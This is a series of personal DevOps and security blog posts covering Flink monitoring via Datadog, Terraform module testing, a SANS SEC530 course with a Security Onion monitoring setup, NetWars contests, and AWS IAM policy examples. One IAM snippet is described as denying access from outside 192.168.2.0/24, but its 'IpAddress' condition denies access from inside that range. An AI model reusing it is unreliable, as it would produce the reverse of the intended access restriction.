The Flink cluster runs in a private VPC, so reaching the Flink Web UI to check the status of the jobs was quite difficult to say the least. We either had to set up an SSH port forwarding session and use a FoxyProxy setup in Firefox, or set up a personal VM the same private VPC via the AWS WorkSpaces managed service and then connect from that VM’s browser to the cluster’s Flink UI. Either way it was quite cumbersome and still a manual process to connect to the Flink UI to check the cluster health. I wanted an automated way of gathering metrics and alerting if something went wrong, so I looked into how Flink could be monitored by Datadog.

Datadog ❤️ Flink

A quick Google search threw up the official documentation from Datadog where I found really straightforward instructions on enabling the submission of Flink metrics to Datadog, which could be instantly visualized in their default Flink dashboard. These main steps are:

adding some new parameters to the flink-conf.yaml, such as the Datadog API/APP keys and custom tags
copying the flink-datadog-metrics.jar to the active flink installation path

The first step was quite easy. Our cluster was defined in Cloudformation where we used AWS::EMR::Cluster which allows specifying the flink-conf.yaml content as below:

Cluster:
 Type: AWS::EMR::Cluster
 Properties:
 Name: Flink-Cluster
 Configurations:
 - Classification: flink-conf
 ConfigurationProperties:
 metrics.reporter.dghttp.class: org.apache.flink.metrics.datadog.DatadogHttpReporter
 metrics.reporter.dghttp.apikey: '{{resolve:secretsmanager:datadog/api_key:SecretString}}'
 metrics.reporter.dghttp.tags: name:flink-cluster, app:flink-cluster, region:eu-central-1, env:prod
 [...]

The above CF snippet shows just the 3 most important lines of the flink-conf.yaml: (1) the full package name of the java class which implements the metric submission, (2) the Datadog API key loaded from AWS Secrets Manager and (3) a few custom tags which will be added to metrics sent to Datadog.

To copy the necessary datadog-metrics JAR where it would be loaded from (/usr/lib/flink/lib), I added a new AWS::EMR::Step to in CloudFormation which is executed only on the EMR Master Node in order to activate Datadog monitoring on the cluster via the supplied Java class and API key in the flink-conf.yaml.

To test that it was working properly I just needed to redeploy the cluster which was surprisingly easy thanks to the Cloudformation setup we had in place. But something was still not right.

Know your continent

After redeploying the cluster I waited and waited and waited a bit more but metrics were not showing up in the Flink dashboard. So I got in touch with Datadog support who were very helpful in figuring out what the issue was. After a few rounds of emails back and forth we quickly discovered why the metrics were not showing up.

The reason was that we had our Datadog account set up in the EU region and not in the USA. Thus, all our metrics were supposed to flow to the EU endpoint at app.datadoghq.eu/api/ instead of the USA endpoint at app.datadoghq.com/api/. The difference is quite subtle, only a simple change in the TLD from .com to .eu. The catch was that our EMR cluster was running Flink 1.9.1 (provided by the EMR release 5.29.0) which had this API endpoint hardcoded, pointing to the USA data centre. The Datadog Support Engineer uncovered some extra instructions on how this can be solved by adding an extra line to the flink-conf.yaml to change the default US region to the EU instead:

Cluster:
 Type: AWS::EMR::Cluster
 Properties:
 Name: Flink-Cluster
 [...]
 Configurations:
 - Classification: flink-conf
 ConfigurationProperties:
 [...]
 metrics.reporter.dghttp.class: org.apache.flink.metrics.datadog.DatadogHttpReporter
 metrics.reporter.dghttp.apikey: '{{resolve:secretsmanager:datadog/api_key:SecretString}}'
 metrics.reporter.dghttp.tags: name:flink-cluster, app:flink-cluster, region:eu-central-1, env:prod
 metrics.reporter.dghttp.dataCenter: EU # << points the metrics reported to the EU region
 [...]

The problem was that this was only available in Flink v1.11.0 while the highest version offered by EMR through the latest EMR Release was only v1.10.0, so this was not going to work for me. I almost gave up on the idea of monitoring Flink via Datadog when I had the idea to clone the official Flink repository from Github and tweak the code in v1.9.1 which we were running to change the hardcoded API endpoint from .com to .eu. It was much easier than I expected, I just needed to tweak this class slightly ./src/main/java/org/apache/flink/metrics/datadog/DatadogHttpClient.java:

/**
 * Http client talking to Datadog.
 */
public class DatadogHttpClient {
/* Changed endpoint for metric submission to use .eu instead of .com */
private static final String SERIES_URL_FORMAT = "https://app.datadoghq.eu/api/v1/series?api_key=%s";
/* Changed endpoint for API key validation to use .eu instead of .com */
private static final String VALIDATE_URL_FORMAT = "https://app.datadoghq.eu/api/v1/validate?api_key=%s";
...
}

Once I made the above code changes, I built a new JAR via mvn clean package. The new JAR was made available at ./flink-metrics/flink-metrics-datadog/target/flink-metrics-datadog-1.9.1.jar which I then uploaded to an S3 bucket where we store such files in my team. Next I slightly tweaked the AWS EMR step to load this JAR from S3 redeployed the cluster once more. Finally, metrics started flowing! And it looked so nice, I was especially happy to see the TaskManager heap distribution, because the issue which sparked this whole endeavor was showing symptoms of Heap Memory issues.

Unfortunately this default dashboard was not perfect, as it had some graphs that were failing to show some data. Maybe it was because of using v1.9.1 of Flink instead of v1.11.0, not sure. In any case, I ended up cloning the dashboard and fixing the graphs manually, while also adding a few extras to show data about the AWS Kinesis streams which were feeding into the Flink cluster.

Now it shows very nicely the age of each Flink job, which was not visible at all on the default dashboard. The end result is much better in my opinion.

Conclusion

All in all, I am quite happy with how this whole story turned out in the end. Despite the issue with the hardcoded API endpoints to the USA region in v1.9.1 of Flink, I managed to implement a simple workaround thanks to the Open Source nature of the project. The result is that we have much better visibility and monitoring implemented for our Flink cluster which makes our lives in the DevOps world much better. I did not write much about it in this post, but once these metrics became available in our Datadog account it was trivial to set up a few Monitors which would alert us if for example one of the 4 Flink jobs were failing. I will leave it up to the reader to imagine how that’s done.

Testing Terraform Modules

Sun, 12 Jul 2020 11:11:00 +0000

Intro

I first head of Terraform about 1 year ago while working on an assignment for a job interview. The learning curve was steep, and I still remember how confused I was about the syntax of HCL that resembled JSON but was not exactly the same. I also remember hearing about the concept of Terraform Modules, but for the assignment it was not needed, so I skipped it for the time being.

Fast forward to present day, I’ve had a good amount of exposure to Terraform Modules at work, where we use them to provision resources on AWS in a standardized and rapid fashion. In order to broaden my knowledge on Terraform Modules, I decided to create an exercise in which I created two TF Modules with using version 0.12 of Terraform. In this post I wanted to describe these two Terraform Modules and how I went about testing them to ensure they did what they were meant to.

What is a Terraform Module

According to official documentation a Terraform module is simply a container for multiple resources that are defined and used together. Terraform Modules can be embedded in each other to create a hierarchical structure of dependent resources. To define a Terraform Module one needs to create one or more Terraform files that define some input variables, some resources and some outputs. The input variabls are used to control properties of the resources, while the outputs are used to reveal information about the created resources. These are often organized into such structure as follows:

variables.tf defining the Terraform variables
main.tf creating the Terraform resources
output.tf listing the Terraform outputs

Note that the above is just an un-enforced convention, it simply makes it easier to get a quick understanding about a Terraform Module. As an example, if an organization needs to have their AWS S3 buckets secured with the same policies to protect their data, they can embed these security policies in a TF Module and then prescribe its use within the organization to enable those security policies automatically. Next up is an example of just that.

The Secure-Bucket TF Module

The first of the 2 Terraform Modules is tf-module-s3-bucket which can be used to create an S3 bucket in AWS that is secured to a higher degree, so that it may be suitable for storing highly sensitive data. The security features of the bucket consists of:

filtering on Source IPs that can access its contents
enforcing encryption at rest (KMS) and in transit
object-level and server access logging enabled
filtering on IAM principals based on official docs

When using this module, one can define a list of IPs, and a list of IAM Principals to control who and from which networks can access the contents of the bucket. These restrictions are written into the Bucket Policy, which is considered a resource-based policy that always takes precendence over Identity based policies, so it does not matter if an IAM Role has specific permission granted to access the bucket, if the bucket’s own Bucket Policy denies the same access. Below is a good overview of the whole evaluation logic of AWS IAM:

In addition, server-access and object-level logging can be enabled as well to improve the bucket’s level of auditability. Altogether, these settings can greatly elevate the security of data in the S3 bucket that was created by this module.

The S3-AuthZ TF Module

This 2nd Terraform Module is called tf-module-s3-auth and it was written to in part to complement the other one used to create an S3 bucket. The aim of this module is to help with the creation of a single IAM policy that can cover the S3 and KMS permissions needed for a given IAM Principal. The motivation behind this module comes from some difficulties I’ve faced at work which meant that some IAM Roles we used had too many policies attached. For further reference see the AWS docs on this.

The Bucket Policy that is crafted by the first TF Module allows the definition of list of IAM Principals that are allowed to interact with the bucket. With this TF module one can actually define the particular S3 actions that those IAM Principals CAN carry out on the data in the bucket. Additionally, this TF module can also be used allow KMS actions on the KMS keys that are protecting the data at rest in the bucket.

Untested code is broken code

With infrastructure-as-code, just as with normal code, testing is often an afterthought. However, it seems to be catching on more and more nowadays. Nothing shows this better than the amount of search results in Google for Infrastructure as Code testing: 235.000.000 as of today (15.8.2020). While Infrastructure as Code is a much broader topic with many other interesting projects, this post will have a sole focus on Terraform. With Terraform, a good step in the right direction is as simple as running terraform validate that can catch silly mistakes and syntax errors and provide feedback such as below:

Error: Missing required argument
on main.tf line 107, in output "s3_bucket_name":
107: output "s3_bucket_name" {
The argument "value" is required, but no definition was found.

In addition to the terraform validate option, many IDEs such as IntelliJ, already have plugins that can alert to such issues, so I find myself not using it so often. However, it’s still nice to have this feature built into the terraform executable!

Once all syntax errors are fixed, the next stage of testing can continue with the terraform plan command. This command uses terraform state information (local or remote) to figure out what changes are needed if the configuration is applied. This is truly very useful in showing in advance what will be created or destroyed. However, a successful terraform plan can still result in a failed deployment because some constraints cannot be verified without making the actual API calls to the Cloud Service Provider. The terraform plan command does not make any actual API calls, it only computes the difference that exist between the Terraform Code vs. the Terraform State (local or remote). The failures are usually very provider specific.

data "aws_iam_policy_document" "Deny-Non-CiscoCidr-S3-Access" {
statement {
sid = "Deny-All-S3-Actions-If-Not-In-IP-PrefixList"
effect = "Deny"
actions = [ "s3:*" ]
resources = [ "*" ]
condition {
test = "NotIpAddress"
variable = "aws:SourceIp"
values = local.ip_prefix_list
}
}
}

This Terraform Code is syntactically correct nd passes the terraform validate, and terraform plan produces a valid plan. However, it still fails at the terraform apply stage because AWS has a restriction on the sid: For IAM policies, basic alphanumeric characters (A-Z,a-z,0-9) are the only allowed characters in the Sid value. This constraint is never checked before terraform apply is called, at which point it is going to fail the whole action with the below error:

An error occurred: Statement IDs (SID) must be alpha-numeric. Check that your input satisfies the regular expression [0-9A-Za-z]*

Such types of errors can only be caught when making real API calls to the Cloud Service Provider (or to a truly identical mock of the real API) which will validate the calls and return errors if any are found. Next I will go into some details on how I went about testing the 2 Terraform Modules I wrote.

Manual Testing via AWS

This most rudimentary form of testing can be done by setting up a real project that imports and uses the two Terraform modules. This test can be found in my repository’s test/terraform/aws/ directory. For this to work properly the AWS provider has to be set up with real credentials, which is beyond the scope of this post. I also opted to use S3 as TF state backend storage but this is optional, it can just ass well store the state locally in a .tfstate file.

First, terraform has to be initialized which will trigger the download of the AWS Terraform Provider via terraform init. Next, the changes can be planned and applied via terraform plan & apply respectively. It’s interesting to note that a complete terraform apply takes close to 1 minute to complete:

Apply complete! Resources: 7 added, 0 changed, 0 destroyed.
Outputs: [...]
real 0m49.090s
user 0m3.532s
sys 0m1.929s

Once the terraform apply is complete one can make manual assertions whether it went as expected based on the outputs (if any) and by manually inspecting the resources that were created. While this can be good enough for new setups, it may be not so good when an already deployed project has to be modified and one needs to make sure the changes will not have any undesired side effects.

Manual Testing via localstack

In order to save time (and some costs), one may also consider using localstack which replicates most of the AWS API and its features to enable faster and easier development and testing. It’s important to note that it only works if one is an AWS customer. In an earlier post I’ve already written on how to set it up, so I will not repeat it here. The most important thing is to enable S3, IAM and KMS services in the docker-compose.yaml by setting this environment variable: SERVICES=s3,kms,iam so the corresponding API endpoints are turned on.

The Terraform files I wrote for testing with on real AWS can be re-used for testing with localstack with some tweaks, for more detail look to test/terraform/localstack/ folder in my repository. Then it’s just a matter of running terraform init followed by a terraform plan & apply to create the fake resources in Localstack.

Apply complete! Resources: 7 added, 0 changed, 0 destroyed.
Outputs: [ ... ]
real 0m11.649s
user 0m3.589s
sys 0m1.580s

Notice that this time the terraform apply took only about 10 seconds, which is considerably faster than using the real AWS API.

Automating tests via Terratest

As I’ve shown, running tests via Localstack can be much faster on average, but sometimes a project may require the use of some AWS services that are not supported by Localstack. In this case it becomes necessary to run tests against the real AWS API. For such situations I recommend terratest from Gruntwork.io, which is a Go library that provides capabilities to automate tests.

It still requires a terraform project to be set up, as described in Manual Testing via AWS, however having the ability to formally define and verify tests can greatly increase the confidence that the code being tested will function the way it’s supposed to. In the test I implemented some assertions on the output values of the terraform apply as well as about the existence of the S3 bucket just created. In addition, the Go library also provides ways to verify the AWS infrastructure setup, by making HTTP calls or SSH connections. This can be a pretty powerful tool.

This terratest setup can be found in my repo under test/go/terraform_test.go.

Running this test takes considerably longer than either of the two previous ones, but the advantage is that this can be easily automated and integrated into a CI/CD build where it can verify on-demand that the TF code still works as intended, even if there were some changes.

▶ go test
TestTerraform 2020-08-09T21:46:22+02:00 logger.go:66: Terraform has been successfully initialized!
...
TestTerraform 2020-08-09T21:47:30+02:00 logger.go:66: Apply complete! Resources: 7 added, 0 changed, 0 destroyed.
...
TestTerraform 2020-08-09T21:48:08+02:00 logger.go:66: Destroy complete! Resources: 7 destroyed.
...
PASS
ok github.com/florianakos/terraform-testing/tests 116.670s

The basic idea of terratest is to automate the process or creation and cleanup of resources for the purposes of tests. To avoid name clashes with existing AWS resources, it’s a good practice to append some random strings to resource names as part of the test, so they are not going to fail due to unique name constraints.

Conclusion

In this post I have shown what options are available for testing a Terraform Module in local or remote settings. If one only works with AWS services then Localstack can be a great tool for quick local tests during development, while terratest from Gruntwork can be a great help with codifying and automating such tests that run against the real AWS Cloud from your favourite CI/CD setup.

Defensible Security Architecture

Wed, 22 Apr 2020 11:11:00 +0000

In this post I wanted to write about my experience with #SEC530 which is a SANS course that I took in March during the SANS Prague event. Not long ago I wrote another post about my experience with NetWars in March, now I wanted to write about the infosec course that started it all.

Defensible Security Architecture - SEC530

Initially I was hesitant to register for an advanced level SANS course (5xx in the code). As I had no previous experience with SANS I did not know if an advanced infosec course would be too difficult for me. Luckily, I found a GIAC assessment exam online called SANS Cybertalent Assessment Exam, which I took for free and eventually passed with a score of 93.33%. This made me confident in registering for #SEC530, as the assessment results stated:

“Examinees who score in this range have demonstrated reliable knowledge in core information security principles […] they are typically ready for advanced security training”.

Course Experience

Day 1

The course was taking place at a hotel in Prague 5, about 10 mins walk from my flat, so I was quite happy about the venue. It was a nice hotel with plenty of room for my course and the other ones that were running in parallel with a dozen or so attendees each:

#SEC401 - Security Essentials Bootcamp Style
#SEC504 - Hacker Tools, Techniques, Exploits and Incident Handling

Some colleagues were taking #SEC504, I was alone from my workplace in taking #SEC530. This was nice because knowing nobody in my class forced me to get to know them, and they all turned out to be interesting people! This was also a good opportunity to start recruiting team mates for the NetWars challenge on Day 6!

Our instructor was Mr. Ryan Nicholson from the United States with an interesting career path that led him to become a SANS Instructor. He used to be a Network Administrator in the past and made lots of references to Cisco networking equipment which made me quite nostalgic from time to time … 😊

Eventually the course kicked off and the first day’s goal was to get an overview of Defensible Security Architecture. We discussed the downsides of traditional approach to security and architecture, and how the defensible approach may improve the situation. We were given a recommended reading by Richard Bejtlich titled The Tao of Network Security Monitoring, in which there is a really neat definition: architecture that encourages, rather than frustrates, digital self-defence.

The rest of the day we discussed many interesting topics, including the Layer 2 security that led to a discovery about the WLAN at the hotel: station isolation was not enabled! This wouldn’t be a huge deal normally, but then we became aware of some fellow SANS students in the adjacent room taking the #SEC504 which is a red-team course that has topics such as penetration testing. This inspired me to take some actions as a blue-teamer, which I hoped would earn me the infamous Red coin for #SEC530… More on this later in the Blue Team Project section.

Day 2

After an interesting first day, we dived right-in to the material on the 2nd day titled: Network Security Architecture and Engineering. This day taught me many interesting topics of L3 security, and provided some interesting lab exercises as well. Most interesting to me was the lab on the config auditing tool called nipper-ng that can parse Cisco router/switch config files for security issues and provide actionable recommendations. This surely would have been a nice tool to have back when I worked as a Network Administrator.

Day 3

We continued with the material on the third day with Network-Centric Security with a bunch of different topics on the menu, such as Next Generation Firewalls (NGFW), Network Security Monitoring (NSM) and Secure Remote Access, just to name a few. Probably the most interesting topic for me was NSM that involves the passive capture (in- or out-of-band) and analysis of network / flow metadata. This gave me some good ideas for the Blue Team Project described in a later section.

After our lunch break, just before we resumed class, someone from the SANS support team came to our classroom and informed us that they decided to convert the class to remote/virtual mode of operation for the rest of the week, as a safety measure against the COVID-19 pandemic. Although it was quite frustrating to me at the time, I now totally agree with their approach to handling this safety concern. Eventually they did an excellent job of converting the class to run via the virtual CyberCast platform on such short notice!

Day 4

So on the morning o day four, I did not go to the nearby hotel where the first three days were held, instead I just logged in to my SANS account and accessed the CyberCast session where we continued the course. The teaching duty was split between two new remote instructors from the USA: for the first half of the day we had Mr. Greg Scheidel, in the afternoon Mr. Ismael Valenzuela took over to finish the rest of the material planned for the day.

The main theme was Data Centric Security which included topics such as Web Application Firewalls, Data Loss Prevention and some discussions on Cloud Security and containerisation technologies. This last topic was particularly interesting to me, because I had been learning about Docker prior to the SANS training and I had not really considered it from a security point of view before.

Day 5

This fifth day was dedicated to Zero Trust Security Architecture, which was quite a new and interesting concept to me. During the first half of the day we covered the basic principles of Zero Trust (everything is hostile, verify before establishing trust) and how certain techniques such as mutual authentication can help improve security. The second half of the day with Ismael included some interesting topics such as Security Information and Event Management systems (SIEMs) which are indispensable tools for Security Operations Centres (SOC). This section also proved to have some very valuable lab exercises for the NetWars challenge the following day.

Day 6 - NetWars

This final day was dedicated to the DTF-style NetWars Challenge that ran for about 6 hours. Three teams were formed amongst the class participants who competed against each other and agains the clock to solve the challenge questions that were testing our concepts taught during the course. I have to say I genuinely enjoyed every second of it. Our team was leading the scoreboard all the way until the very end, when we got kicked down to the 2nd place because we rushed to be the first and incurred some penalty for incorrect answers. Regardless of the final result, it was a very valuable experience with tons of fun and learning. For our efforts that got us the 2nd place, were rewarded with the much coveted blue coin of #SEC530 which ~~will hopefully arrive by FedEx soon~~ has arrived to me in Prague via FedEx finally … :)

Blue Team Project

As I previously mentioned, on the first day we discovered that all attendees of the SANS venue will be sharing a WLAN network without station isolation and this was making me somewhat uncomfortable. Some years ago in a university course I had done some simple attacks using MITM technique on shared LAN networks, so I knew that it was not too difficult to steal credentials or do other kinds of malicious attacks when the attacker didn’t even have to crack the wifi password to be able to join the shared WLAN.

Later I was wondering that perhaps the WLAN isolation feature was disabled on purpose so that the red-team students in the adjacent room could practice using some of the typical penetration testing tools. Regardless, this vulnerability enabled by the lack of WLAN isolation gave me the idea to implement some kind of defence system that can monitor and/or if possible alert me to any seemingly malicious attempts targeting my machine.

My first idea was to run a packet capture on my Host OS via Wireshark, but of course that would have been very difficult to manage and quite likely not so effective! I would’ve had to keep an eye on it constantly and check for suspicious packets manually using some filters.

Instead, I got some inspiration from one of the lab exercises with the ELK stack where we had to look for some suspicious log entries from various sources of security telemetry. I decided to set up a similar set of services to run non-stop on my #SEC530 virtual machine. To provide the network metadata I needed, I decided to install PacketBeat and configured it to extract and forward netflow data to the ELK stack. This way I could obtain the necessary visibility into the network activity on my Virtual Machine, without the need to do full packet capture using WireShark!

With the below steps one can run the ELK stack via docker-compose in the #SEC530 VM:

# ELK stack setup
mkdir monitor && cd monitor
cp /labs/1.3/docker-compose.yml ./
sed -i '17,18 s/^/#/' docker-compose.yml #comment out some volumes not needed
sed -i 's/lab13es/elastic_search/g' docker-compose.yml
sed -i 's/kibana13/kibana_dashboard/g' docker-compose.yml
docker container prune -f
docker-compose up

Next I set installed and configured the OSS version of PacketBeat:

# PacketBeat setup
curl -L -O https://artifacts.elastic.co/downloads/beats/packetbeat/packetbeat-oss-7.6.1-amd64.deb
sudo dpkg -i packetbeat-oss-7.6.1-amd64.deb
echo "setup.dashboards.enabled: true" | sudo tee -a /etc/packetbeat/packetbeat.yml
sudo packetbeat setup --dashboards
sudo service packetbeat start

Now, one can test if it’s working by generating some network traffic from the VM which should then appear in the Kibana dashboard at http://localhost:5601/app/kibana.

At this point, it becomes possible to observe malicious hacking attempts by focusing on IP addresses from my local IP subnet… But I was not yet fully satisfied and wanted to take it a bit further.

Blue Team Project - Next Level

It was quite nice to see netflow data being exported to the ELK stack in the previous setup, however I was a bit disappointed with the Kibana dashboards that were set up by PacketBeat. Some were completely dysfunctional due to some syntax errors I could not figure out how to fix.

I spent quite a long time looking for a fix to the Kibana dashboard issues, but eventually I ended up swapping my ELK & PacketBeat setup for a more advanced set of Tools: The Security Onion! Turns out that it also uses docker to run the ELK stack behind the scenes. In addition, it includes some tools such as Zeek/Bro, Suricata/Snort right out of the box, that we also covered in the course. So cool!

Setting it all up on the #SEC530 VM was a bit more lengthy than my previous setup. First I had to add some additional juice to the underlying VM (4 CPUs and min 8GB of RAM) which then I followed up with the below installation steps on a fresh clone of the #SEC530 VM:

Set the VM NIC mode to bridge (Autodetect) (in VMWare Fusion)
Boot the VM, log in and change the settings in Software & Updates:
- on Ubuntu Software tab check all options except restricted software
- on Updates tab select the first two options
- click Close and then click Reload to latest updates

Next run these steps in the Terminal (adopted from here):

echo "debconf debconf/frontend select noninteractive" | sudo debconf-set-selections
sudo rm -rf /var/lib/apt/lists/*
sudo apt-get update
sudo apt-get -y install software-properties-common
sudo add-apt-repository -y ppa:securityonion/stable
sudo apt-get update
sudo apt-get -y -f -o Dpkg::Options::="--force-overwrite" install securityonion-all securityonion-onionsalt securityonion-suricata syslog-ng-core

The above steps install necessary dependencies and then create a desktop shortcut called Setup with the Security Onion icon. Double-click it to continue the install process (alternatively issue sudo sosetup in Terminal):

chose to reconfigure the network interfaces (with DHCP)
accept the necessary reboot now
trigger the Setup process again to finish the installation
chose Evaluation Mode when it asks this question
set up default username/password used to secure the various dashboards

Once the setup finishes, it takes a few minutes, it will show several additional popup windows with useful information about the Security Onion’s functions, while also several new desktop icons will appear:

At this point, the setup is complete and you can see the installed services by clicking on the new icons on the Desktop. Most interesting to me was the Kibana dashboard which comes pre-loaded with some amazing features out of the box:

This really seems like an awesome set of features that can detect malicious attacks much better than my first setup with ELK & Packetbeat. This is exactly what I was looking for, when I was on that shared WLAN, some advanced visibility into network metadata. I’m glad I did not have to implement it by hand after all … :)

Blue Team Project - Next Next Level

While looking around on the net for possible solutions to my issues, I stumbled upon this project from Telekom Security‘s GitHub page, which seemed like an even more advanced version of the Security Onion with various types of built-in honeypots that feed information to a Kibana dashboard. Sadly however, this is not possible to set up on the #SEC530 VM because the built-in installer does not support Xubuntu 16.04 and there were so many moving parts to the project that I did not dare to do it all by hand. For now I just keep it here as a reference, maybe in a future post I will describe it in more detail!

Conclusion

As I already mentioned, this was my first SANS training and I could not be happier about the whole experience, despite the unfortunate situation with the global pandemic disrupting our onsite course. While I was initially a bit worried about the lack of station isolation on the shared WLAN, I really enjoyed digging around the Internet for a solution to earn my some peace of mind. The knowledge and new skills I acquired in the domain of Defensible Security Architecture have been quite overwhelming to say the least.

I also enjoyed building new connections with the people who run these trainings and with my fellow SANS alumni. Taking part in the NetWars events that followed in March and April, I felt good to be part of such an incredible community.

SANS NetWars in March

Sat, 04 Apr 2020 11:11:00 +0000

This past month of March was quite eventful, to say the least, with all the news of this pandemic shaking many different segments of our globalised society. It’s virtually impossible to escape the constant flow of news in the media. While March was practically defined by the continuously evolving story of the virus, I wanted to write a new blog post about a different topic that also greatly impacted this month for me: a live SANS course I took attended in Prague and some online CTF challenges organised by SANS and the Counter Hack team.

SANS Prague March 2020

I still remember how excited I was when I learnt that my employer will sponsor my attendance a 6 days long SANS course in March, taking place in the city where I live and work currently. I was eagerly looking forward to it, taking place between 9th and 14th of March.

The course was arranged in a very nice hotel in Prague 5 district, and we were hosted by a very friendly SANS staff that included some world-class teachers. I really liked how well they organised everything and tried to spoil us with good food. There were actually several courses running in parallel, my course, the SEC530, a.k.a Defensible Security Architecture and Engineering, was taught by Ryan Nicholson, who did a great job during the first 3 days.

Sadly however, on Wednesday (11th of March) we were instructed to go home due to the growing risk of contacting the COVID-19 virus. All was not lost, because the SANS team did their best to convert the whole class to an online CyberCast while the course was in progress. So from the next day onward, we continued remotely with new instructors, who jumped in, while Ryan was on his way back to the States. Initially we thought he would continue hosting the CyberCast from his hotel room, but eventually we got to know two new SANS instructors, Greg Scheidel and Ismael Valenzuela, who took turns teaching the rest of the course material and then hosting the NetWars event for us.

SANS NetWars

While the raw educational content of Sec530 was great, I most enjoyed the last day of the course when we got to take part in a private NetWars challenge hosted just for the participants of the course, which was about 10-15 people. I had some initial ideas about what NetWars was all about, thanks to numerous cleverly placed banners in Holiday Hack Challenges from previous years, I never actually got to participate in one before so it was a completely new experience for me. And I was immediately loving it so much, that when it was over I knew I wanted more!

So you can imagine how excited I was when I learnt that SANS was going to offer a bunch of free NetWars events for SANS alumni, with some special events open to the whole world to take part in! First one was a two-day Core NetWars Tournament, first of its kind, organised completely online via CyberCast from 19th to 20th of March. Due to timezone differences, it lasted until 2 am on both days, but I loved every second of it! While I had no high hopes of winning, I was surprised how well I did, eventually finishing as 12th amongst the first time NetWars players.

Next up was the Mini NetWars Mission 1, also first of its kind, from 2nd till 3rd of April. This was a bit different from Core NetWars, as we did not have to solve the challenges in a virtualised OS environment, instead we relied solely on the browser, very similar to how the Holiday Hack environment works, which was already quite familiar to me!

This time many more people signed up, as registration was not limited to just SANS alumni but open to the public. Eventually we were more than 500 people competing! This time I managed to solve all of the objectives and obtained the maximum score of 92 which qualified me as a winner. My final placement on the ranking was somewhere around 50th, as I took a number of hints and was a bit slower than others. Nevertheless, I was still amazed by how far I have come. By the way, this is my battle station setup, which won me some cool SANS swag on Twitter :)

CONCLUSION

All in all, I cannot thanks SANS enough for hosting these alumni NetWars events, some completely free for the whole cyber security community. I am probably not alone in feeling that they did an amazing service to us all, who are probably stuck at home due to social distancing and quarantine measures implemented world wide. This month for me was surely made a bit special, so big thanks to SANS and the Counter Hack team for all that their efforts!

P.S.:: A very very very cool Spotify Playlist, which works wonders during such CTF contests, is available via this link. I cannot take credit for it, it belongs to Bryce Galbraith who moderated these two previous NetWars events and was kind enough to share his playlist with us.

Identity & Access Management

Mon, 03 Feb 2020 11:11:00 +0000

INTRODUCTION

In this post I show how the Identity and Access Management service in the AWS Public Cloud works to secure resources and workloads. It is a very important topic, because it underpins all of the security that is needed for hosting one’s resources in the public cloud.

At the end of the day, the cloud is just a concept that offers a convenient illusion of dedicated resources, but in reality it’s just some process that runs on someone else’s hardware, so one has to be absolutely sure about security before trusting it and running their business-critical workloads on it.

It is enough to do a quick google search for unsecured s3 bucket to see plenty of examples of administrators failing to properly harden and configure their AWS resources, and falling victim to accidental disclosure of often business-critical information.

IAM exists in the realm of AWS Cloud as a standalone service, providing various ways in which access to resources and workloads can be restricted. For example, if someone has an S3 bucket for storing arbitrary data, one can use IAM policies to restrict access to data stored in the bucket based on various criteria such as user identity, connection source IP, VPC environment and so on. S3 is a convenient service to demonstrate IAM capabilities, because it is very easy to grasp the result of restrictions: access to files in an S3 bucket is either granted or denied.

HOW IT WORKS

In order to illustrate how IAM works, I decided to create a Python Lambda function, which is just an AWS service offering server-less functions, and implemented a routine that tries to access some data stored in a particular S3 bucket. By default the Lambda starts running with an IAM role that has only read-only permission to the bucket. This is verified by making an API call with the boto3 package, which returns without any error. Next the Lambda tries to write some new data to the bucket, but this fails because the IAM role is not equipped with Write permission to the S3 bucket.

To mitigate this problem, I use boto3 to make an AWS Secure Token Service ( STS) call and assume a new role which is equipped with the necessary read-write access. Using this new role the program demonstrates that it can write to the bucket as expected. Below is a sample output of the Lambda Function in action:

=== Checking IAM Identity ===
ARN: arn:aws:sts::ACCOUNT_ID:assumed-role/Base-Lambda-Custom-Role/lambda

=== Testing Read access to S3 file in bucket ===
{
 "field1": true,
 "field2": 1.4107917E7
}

=== Testing Write access to S3 bucket ===
Error: AccessDenied!

=== Assumed New IAM Identity ===
ARN: arn:aws:sts::ACCOUNT_ID:assumed-role/S3-RW-Role/lambda

=== Testing Write access to S3 bucket (using new role) ===
... file was written successfully!

To get a better understanding how this all worked in code, feel free to check out the source code repository in Github ( link). Because I am a big fan of Terraform, I defined all resources (S3, IAM, Lambda) in code which makes it very simple and straightforward to deploy and test the code if you feel like!

ADVANCED IAM

Besides providing the basic functionality to restrict access to resources base on user identity, there are some cool and more advanced features of AWS IAM that I wanted to touch upon. For example, to show how simple it is to give read-only permissions to a bucket for an IAM role:

data "aws_iam_policy_document" "s3_ro_access_policy_document" {
statement {
effect = "Allow"
actions = [
"s3:GetObject",
"s3:ListBucket",
]
resources = [
"arn:aws:s3:::my-bucket",
"arn:aws:s3:::my-bucket/*"
]
}
}
resource "aws_iam_policy" "s3_ro_access_policy" {
name = "S3-ReadOnly-Access"
policy = data.aws_iam_policy_document.s3_ro_access_policy_document.json
}
resource "aws_iam_role_policy_attachment" "Allow_S3_ReadOnly_Access" {
role = aws_iam_role.aws_custom_role_for_lambda.name
policy_arn = aws_iam_policy.s3_ro_access_policy.arn
}
resource "aws_iam_role" "aws_s3_readwrite_role" {
name = "S3-RW-Role"
description = "Role to allow full RW to bucket"
}

Full source code on GitHub.

With this short Terraform code, I created a role, and assigned an IAM policy to it, which has RO access to my-bucket resource in S3. To spice this up a bit, it is possible to add extra restrictions based on various elements of the request context to restrict access based on Source IP for example:

data "aws_iam_policy_document" "s3_ro_access_policy_document" {
statement {
effect = "Deny"
actions = [
"s3:*"
]
resources = [ "*"]
condition {
test = "IpAddress"
variable = "aws:SourceIp"
values = [ "192.168.2.0/24" ]
}
}
}

All of a sudden, even if the user who makes the request to S3 has correct credentials, but is connecting from a subnet which is outside the one specified above, the request will be denied! This can be very useful for example, when trying restricting access to resources to be possible only from within a corporate network with specific CIDR range.

One small issue with this source IP restriction is that it can cause issues for certain AWS services that run on behalf of a principal/user. When using the AWS Athena service for example, triggering a query on data stored in S3 means Athena will make S3 API requests on behalf of the user who initiated the Athena query, but will have a source IP address from some Amazon AWS CIDR range and the request will fail. For this purpose, there is an extra condition that can be added to remediate this issue:

data "aws_iam_policy_document" "s3_ro_access_policy_document" {
statement {
effect = "Deny"
actions = [
"s3:*"
]
resources = [ "*"]
condition {
test = "IpAddress"
variable = "aws:SourceIp"
values = [ "192.168.2.0/24" ]
}
condition {
test = "Bool"
variable = "aws:ViaAWSService"
values = [ "false" ]
}
}
}

The aws:viaAWSService = false condition will ensure that this Deny will only take effect when the request context does not come from an AWS Service Endpoint. For additional info on what other possibilities exist that can be used to grant or deny access, please consult the AWS documentation.

CONCLUSION

